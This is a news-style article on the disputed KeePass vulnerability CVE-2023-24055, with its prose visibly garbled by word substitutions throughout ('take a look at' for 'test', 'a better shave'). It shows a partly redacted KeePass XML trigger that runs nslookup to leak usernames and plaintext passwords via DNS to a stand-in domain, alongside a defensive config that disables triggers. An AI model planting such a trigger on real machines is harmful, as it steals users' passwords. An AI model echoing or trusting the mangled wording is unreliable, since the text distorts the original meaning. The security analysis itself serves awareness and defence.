It’s been a newsworthy few weeks for password managers – these helpful utilities that aid you give you a distinct password for each web site you utilize, after which to maintain observe of all of them.
At the top of 2022, it was the flip of LastPass to be all around the information, when the corporate lastly admitted {that a} breach it suffered again in August 2022 did certainly find yourself with clients’ password vaults getting stolen from the cloud service the place they have been backed up.
(The passwords themselves weren’t stolen, as a result of the vaults have been encrypted, and LastPass didn’t have copies of anybody’s “master key” for the backup vault information themselves, nevertheless it was a better shave than most individuals have been glad to listen to.)
Then it was LifeLock’s flip to be all around the information, when the corporate warned about what regarded like a rash of password guessing assaults, most likely primarily based on passwords stolen from a very completely different web site, presumably a while in the past, and maybe bought on the darkish net lately.
LifeLock itself hadn’t been breached, however a few of its customers had, due to password-sharing behaviour brought on by dangers they won’t even bear in mind having taken.
Competitiors 1Password and BitWarden have been within the information lately, too, primarily based on stories of malicious adverts, apparently unwittingly aired by Google, that convincingly lured customers to duplicate logon pages aimed toward phishing their account particulars.
Now it’s KeePass’s flip to be within the information, this time for one more cybersecurity challenge: an alleged vulnerability, the jargon time period used for software program bugs that result in cybersecurity holes that attackers may be capable to exploit for evil functions.
Password sniffing made simple
We’re referring to it as a vulnerability right here as a result of it does have an official bug identifier, issued by the US National Institute for Standards and Technology.
The bug has been dubbed CVE-2023-24055: Attacker who has write entry to the XML configuration file [can] acquire the cleartext passwords by including an export set off.
The declare about having the ability to acquire cleartext passwords, sadly, is true.
If I’ve write entry to your private information, together with your so-called %APPDATA% listing, I can sneakily tweak the configuration part to change any KeePass settings that you’ve already customised, or so as to add customisations should you haven’t knowingly modified something…
…and I can surprisingly simply steal your plaintext passwords, both in bulk, for instance by dumping the entire database as an unencrypted CSV file, or as you utilize them, for instance by setting a “program hook” that triggers each time you entry a password from the database.
Note that I don’t want Administrator privileges, as a result of I don’t must mess with the precise set up listing the place the KeePass app will get saved, which is often off-limits to common userse
And I don’t want entry to any locked-down world configuration settings.
Interestingly, KeePass goes out of its solution to cease your passwords being sniffed out while you use them, together with utilizing tamper-protection strategies to cease varied anti-keylogger tips even from customers who have already got sysadmin powers.
But the KeePass software program additionally makes it surprisingly simple to seize plaintext password information, maybe in methods you may contemplate “too easy”, even for non-administrators.
It was a minute’s work to make use of the KeePass GUI to create a Trigger occasion to run each time you copy a password into the clipboard, and to set that occasion to do a DNS lookup that included each the username and the plaintext password in query:
We might then copy the not-terribly-obvious XML setting for that possibility out of our personal native configuration file into the configuration file of one other consumer on the system, after which they too would discover their passwords being leaked over the web by way of DNS lookups.
Even although the XML configuration information is basically readable and informative, KeePass curiously makes use of random information strings generally known as GUIDs (quick for globally distinctive identifiers) to indicate the varied Trigger settings, in order that even a well-informed consumer would wish an in depth reference record to make sense of which triggers are set, and the way.
Here’s what our DNS-leaking set off appears to be like like, although we redacted a number of the particulars so you may’t rise up to any fast mischief simply by copying-and-pasting this textual content instantly:
<Trigger>
<Guid>XXXXXXXXXXXXXXXXXXXX</Guid>
<Name>Copy</Name>
<Comments>Steal stuff by way of DNS lookups</Comments>
<Events>
<Event>
<KindGuid>XXXXXXXXXXXXXXXXXXXX</KindGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<KindGuid>XXXXXXXXXXXXXXXXXXXX</KindGuid>
<Parameters>
<Parameter>nslookup</Parameter>
<Parameter>XXXXX.XXXXX.blah.take a look at</Parameter>
<Parameter>True</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
With this set off energetic, accessing a KeePass password causes the plaintext to leak out in an unobtrusive DNS lookup to a website of my alternative, which is blah.take a look at on this instance.
Note that real-life attackers would virtually actually scramble or obfuscate the stolen textual content, which might not solely make it more durable to identify when DNS leaks have been taking place, but in addition care for passwords containing non-ASCII characters, equivalent to accented letters or emojis, that may’t in any other case be utilized in DNS names:
But is it actually a bug?
The difficult query, nonetheless, is, “Is this really a bug, or is it just a powerful feature that could be abused by someone who would already need at least as much control over your private files as you have yourself?”
Simply put, is it a vulnerability if somebody who already has management of your account can mess with information that your account is meant to have the ability to entry anyway?
Even although you may hope {that a} pssword supervisor would come with a number of further layers of tamper-protection to make it more durable for bugs/options of this type to be abused, ought to CVE-2023-24055 actually be a CVE-listed vulnerability?
If so, wouldn’t instructions equivalent to DEL (delete a file) and FORMAT have to be “bugs”, too?
And wouldn’t the very existence of PowerShell, which makes doubtlessly harmful behaviour a lot simpler to impress (strive powerhsell get-clipboard, for example), be a vulnerability all of its personal?
That’s KeePass’s place, acknowledged by the next textual content that has been added to the “bug” element on NIST’s web site:
** DISPUTED ** […] NOTE: the seller’s place is that the password database shouldn’t be meant to be safe in opposition to an attacker who has that degree of entry to the native PC.
What to do?
If you’re a standalone KeePass consumer, you may test for rogue Triggers just like the “DNS Stealer” we created above by opening the KeePass app and browsing the Tools > Triggers… window:
Note that you may flip the complete Trigger system off from this window, just by deslecting the [ ] Enable set off system possibility…
…however that isn’t a worldwide setting, so it may be turned again on once more by way of your native configuration file, and subsequently solely protects you from errors, quite than from an attacker with entry to your account.
You can pressure the choice off for everybody on the pc, with no possibility for them to show it again on themselves, by modifying the worldwide “lockdown” file KeePass.config.enforced.XML, discovered within the listing the place the app program itself is intalled.
Triggers might be compelled off for everybody in case your world XML enforcement file appears to be like like this:
<?xml model="1.0" encoding="utf-8"?>
<Configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Application>
<TriggerSystem>
<Enabled>false</Enabled>
</TriggerSystem>
</Application>
</Configuration>
(In case you’re questioning, an attacker who has write entry to the applying listing to reverse this modification would virtually actually have sufficient system-level energy to change the KeePass executable file itself, or to put in and activate a standalone keylogger anyway.)
If you’re a community administrator tasked with locking down KeePass in your customers’ computer systems in order that it’s nonetheless versatile sufficient to assist them, however not versatile sufficient for them to assist cybercriminals by mistake, we suggest studying by means of the KeePass Security Issues web page, the Triggers web page, and the Enforced Configuration web page.